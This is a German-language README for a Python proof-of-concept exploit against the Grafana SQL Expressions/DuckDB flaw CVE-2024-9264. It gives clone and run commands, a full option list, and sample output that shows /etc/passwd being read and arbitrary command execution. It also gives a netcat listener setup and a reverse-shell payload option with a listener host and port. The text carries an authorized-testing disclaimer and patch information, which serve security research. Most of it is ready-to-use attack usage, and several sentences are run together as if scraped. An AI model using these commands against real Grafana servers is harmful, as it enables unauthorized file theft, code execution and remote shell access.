
CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC
Python Proof of Concept für CVE-2024-9264, eine Grafana SQL Expressions Schwachstelle, die authentifizierten lokalen Dateizugriff und Befehlsausführung ermöglichen kann, wenn duckdb im PATH des Grafana-Prozesses verfügbar ist.
Nur für autorisierte Tests und Forschung. Verwenden Sie dies nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben.
authentifizierter Grafana-API-Zugriff -> SQL Expressions DuckDB-Abfrage -> Dateiauslesen -> optionale Shellfs-Befehlsausführung
read_blob(). Wenn Befehlsausführung angefordert wird, wird zuerst /etc/passwd als Standard-Validierungsdatei verwendet.shellfs und führt einen Befehl über einen pipe-gestützten read_csv()-Aufruf aus./tmp/cve_2024_9264_out und gibt das decodierte Ergebnis aus.Der anfällige Endpunkt kann direkt über die API aufgerufen werden; eine Dashboard-UI-Interaktion ist nicht erforderlich. Authentifizierung ist dennoch erforderlich.



git clone https://github.com/ozcanpng/CVE-2024-9264.git
cd CVE-2024-9264
python3 -m pip install -r requirements.txt
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --file /etc/passwd
Wenn --file allein verwendet wird, liest das Skript diese Datei direkt und gibt den decodierten Inhalt im Abschnitt "Dateiauslese-Ergebnis" aus.
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --cmd id
Das Skript führt zuerst eine Standard-Validierung mittels Auslesen von /etc/passwd durch und liefert dann das Befehlspayload. Im Ergebnisteil gibt es die decodierte Befehlsausgabe anstelle der rohen Grafana-JSON-Antwort aus.
Starten Sie einen Listener:
rlwrap nc -lvnp 4444
Senden Sie das Reverse-Shell-Payload:
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --dry-run
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --debug
Diese Optionen basieren auf der aktuellen CLI des Skripts:
-u, --url, --target TARGET
Ziel-URL, z. B. http://localhost:3000
--username USERNAME Grafana-Benutzername. Standard: admin
--password PASSWORD Grafana-Passwort. Standard: admin
--file FILE Dateipfad zum Auslesen. Standard-Validierungspfad: /etc/passwd
--expected-marker MARKER
Marker, der in der Dateiauslese-Antwort erwartet wird. Standard: root:
--cmd CMD Befehl, der über den DuckDB-shellfs-Pfad ausgeführt werden soll
--reverse-shell Führt ein Bash-Reverse-Shell-Payload aus
--lhost LHOST Listener-Host für --reverse-shell
--lport LPORT Listener-Port für --reverse-shell
--timeout TIMEOUT HTTP-Timeout in Sekunden. Standard: 20
--verify-tls TLS-Zertifikate verifizieren. Standard: aktiviert
-k, --insecure TLS-Zertifikatsprüfung deaktivieren
--dry-run Ziel- und Payload-Metadaten anzeigen, ohne Anfragen zu senden
--debug Debugging-Metadaten für Anfragen anzeigen
[SCHRITT 2] Dateiauslese-Ergebnis
--------------------------------------------------------------------
[*] Dateipfad : /etc/passwd
[*] HTTP-Status : 200
[+] Dateiinhalt erfolgreich gelesen.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
grafana:x:472:0::/home/grafana:/usr/sbin/nologin
[SCHRITT 4] Ergebnis
--------------------------------------------------------------------
[*] HTTP-Status : 200
[+] Payload von Grafana akzeptiert.
uid=472(grafana) gid=0(root) groups=0(root)
| Produkt | Betroffene Version | Erforderlicher Zugriff | Auswirkung |
|---|---|---|---|
| Grafana OSS / Enterprise | Grafana 11.0.x, 11.1.x und 11.2.x vor den gepatchten Sicherheitsreleases | Viewer oder höher | Lokaler Dateizugriff und Befehlseinschleusung, wenn DuckDB im PATH von Grafana vorhanden ist |
Grafana weist darauf hin, dass die Ausnutzung erfordert, dass die Binärdatei duckdb im PATH des Grafana-Prozesses vorhanden ist; normale Grafana-Distributionen installieren DuckDB standardmäßig nicht.
shellfs-Erweiterung in der Zielumgebung ab.-k oder --insecure.11.0.5+security-01, 11.1.6+security-01, 11.2.1+security-01, 11.0.6+security-01, 11.1.7+security-01 und 11.2.2+security-01.ozcanpng - github.com/ozcanpng - ozcanpng.dev